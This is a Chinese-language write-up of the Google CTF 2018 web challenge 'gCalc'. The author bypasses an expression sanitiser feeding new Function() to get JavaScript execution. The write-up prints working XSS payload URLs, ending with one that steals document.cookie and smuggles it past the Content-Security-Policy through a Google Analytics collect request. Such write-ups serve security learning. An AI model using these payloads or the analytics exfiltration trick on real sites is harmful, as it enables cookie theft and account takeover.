Google CTF 2018 Quals Web挑战 - gCalc
gCalc是Google CTF 2018资格赛中的一道Web挑战题,仅在2天的比赛期间被15支队伍解决!
这道挑战非常有趣,给了我很多乐趣。我喜欢那些挑战你的漏洞利用技能,而不是给你大量代码来寻找简单漏洞或毫无提示地猜测的挑战。因此,我想写一篇解题记录来记录这一点 :P
挑战提供了一个链接 https://gcalc2.web.ctfcompetition.com/。它只是一个用JavaScript编写的计算器,看起来像是一个XSS挑战。底部有一个“尝试”超链接,并将你的公式表达式传递给管理员!
乍一看,我发现我们可以从查询字符串中控制两个参数 - expr 和 vars。它看起来像:
https://gcalc2.web.ctfcompetition.com/?expr=vars.pi*3&vars={“pi”:3.14159,“ans”:0}
你可以在上下文中定义一些变量,并在公式表达式中使用它们。但变量只允许Number类型,以及从null创建的Object类型,这意味着创建的Object中没有其他方法和属性。你可以从我的gist中找到美化后的JavaScript代码!
如你所见,真正的漏洞非常直接。参数a是查询字符串中的expr,参数b是vars。expr只是进行一些清理,然后传递给new Function()。new Function()就像JavaScript中的eval!
|
|
expr的清理器看起来灵活。我们使用regex101分析正则表达式。正则表达式允许表达式中的一些操作数和运算符,且变量名必须以vars开头。我脑海中的第一个想法是,我们可以使用constructor.constructor(CODE)()来执行任意JavaScript代码。剩下的部分是如何创建CODE负载。
很快,我写了第一个版本的漏洞利用:
|
|
我调试了一个小时,被这个漏洞利用卡住了。我很好奇为什么这在我的控制台中有效,但XSS失败。最后,我找到了根本原因,第一行有一个toLowerCase,所以我们的toString和fromCharCode会失败… orz
|
|
知道这一点后,我很快写了下一个版本的漏洞利用,从vars映射的键中检索负载!在我的负载中,我使用/1/.exec(1).keys(1).constructor来获取Object构造函数,并使用keys(vars).pop()来检索vars映射中的最后一个键!
这是负载:
|
|
https://gcalc2.web.ctfcompetition.com/ ?expr=(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())() &vars={“pi”:3.14159,“ans”:0,“alert(1)":0}
嗨,我们得到了alert(1)
完成了吗?还没有 :( 我们的目标是从管理员那里窃取cookie,我们遇到了CSP问题!
/ 的CSP
Content-Security-Policy: default-src ‘self’; child-src https://sandbox-gcalc2.web.ctfcompetition.com/
/static/calc.html 的CSP
Content-Security-Policy: default-src ‘self’; frame-ancestors https://gcalc2.web.ctfcompetition.com/; font-src https://fonts.gstatic.com; style-src ‘self’ https://.googleapis.com ‘unsafe-inline’; script-src ‘self’ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.google-analytics.com https://.googleapis.com ‘unsafe-eval’ https://www.googletagmanager.com; child-src https://www.google.com/recaptcha/; img-src https://www.google-analytics.com;
我们不能使用重定向或加载外部资源来泄露cookie。但我注意到CSP头中的img-src https://www.google-analytics.com,并记得很久以前,我读过一篇HackerOne报告,使用Google Analytics进行数据外泄!你可以将数据嵌入Google Analytics的ea参数中发送到外部,我们可以从Google Analytics控制台看到结果!
这是最终的漏洞利用
https://gcalc2.web.ctfcompetition.com/ ?expr=(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())() &vars={“pi”:3.14159,“ans”:0, “x=document.createElement(‘img’);x.src=‘https://www.google-analytics.com/collect ?v=1&tid=UA-00000000-1&cid=0000000000&t=event&ec=email&ea=’+encodeURIComponent(document.cookie);document.querySelector(‘body’).append(x)":0}
哦耶。flag是CTF{1+1=alert}!